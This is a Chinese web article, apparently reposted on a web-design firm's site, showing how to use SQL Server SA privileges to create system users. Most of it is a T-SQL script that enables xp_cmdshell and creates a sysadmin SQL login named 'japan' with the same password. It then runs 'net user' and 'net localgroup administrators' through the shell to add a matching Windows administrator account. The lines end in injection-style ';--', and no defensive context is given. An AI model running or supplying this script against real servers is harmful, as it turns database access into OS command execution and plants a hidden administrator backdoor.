通过SQLServerSA权限创建系统用户

通过SQL Server SA权限,可以实现许多的操作,下面为您介绍的是通过SQL Server SA权限创建系统用户的方法,希望对您学习SQL Server SA权限的使用能有所启迪。

创新互联专注于筠连网站建设服务及定制,我们拥有丰富的企业做网站经验。 热诚为您提供筠连营销型网站建设,筠连网站制作、筠连网页设计、筠连网站官网定制、微信平台小程序开发服务,打造筠连网络公司原创品牌,更为您提供筠连网站排名全网营销落地服务。

 
 
 
  1. --enabble xp_cmdshell
  2. EXEC sys.sp_configure N'show advanced options', N'1'  RECONFIGURE WITH OVERRIDE
  3. go
  4. EXEC sys.sp_configure N'xp_cmdshell', N'1'
  5. go
  6. RECONFIGURE WITH OVERRIDE
  7. go
  8. EXEC sys.sp_configure N'show advanced options', N'0'  RECONFIGURE WITH OVERRIDE
  9. go
  10. -- Unenable xp_cmdshell
  11. EXEC sys.sp_configure N'show advanced options', N'1'  RECONFIGURE WITH OVERRIDE
  12. go
  13. EXEC sys.sp_configure N'xp_cmdshell', N'0'
  14. go
  15. RECONFIGURE WITH OVERRIDE
  16. go
  17. EXEC sys.sp_configure N'show advanced options', N'0'  RECONFIGURE WITH OVERRIDE
  18. go
  19. -- 通过xp_cmdshell 创建操作系统用户, japan 是用户名及密码
  20. exec master.dbo.sp_addlogin japan;--   
  21. exec master.dbo.sp_password null,japan,japan;--   
  22. exec master.dbo.sp_addsrvrolemember japan,sysadmin;--   
  23. exec master.dbo.xp_cmdshell 'net user japan japan /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--   
  24. exec master.dbo.xp_cmdshell 'net localgroup administrators japan /add';--   

分享标题:通过SQLServerSA权限创建系统用户
URL标题:http://www.hantingmc.com/qtweb/news0/146100.html

网站建设、网络推广公司-创新互联,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等

广告

声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联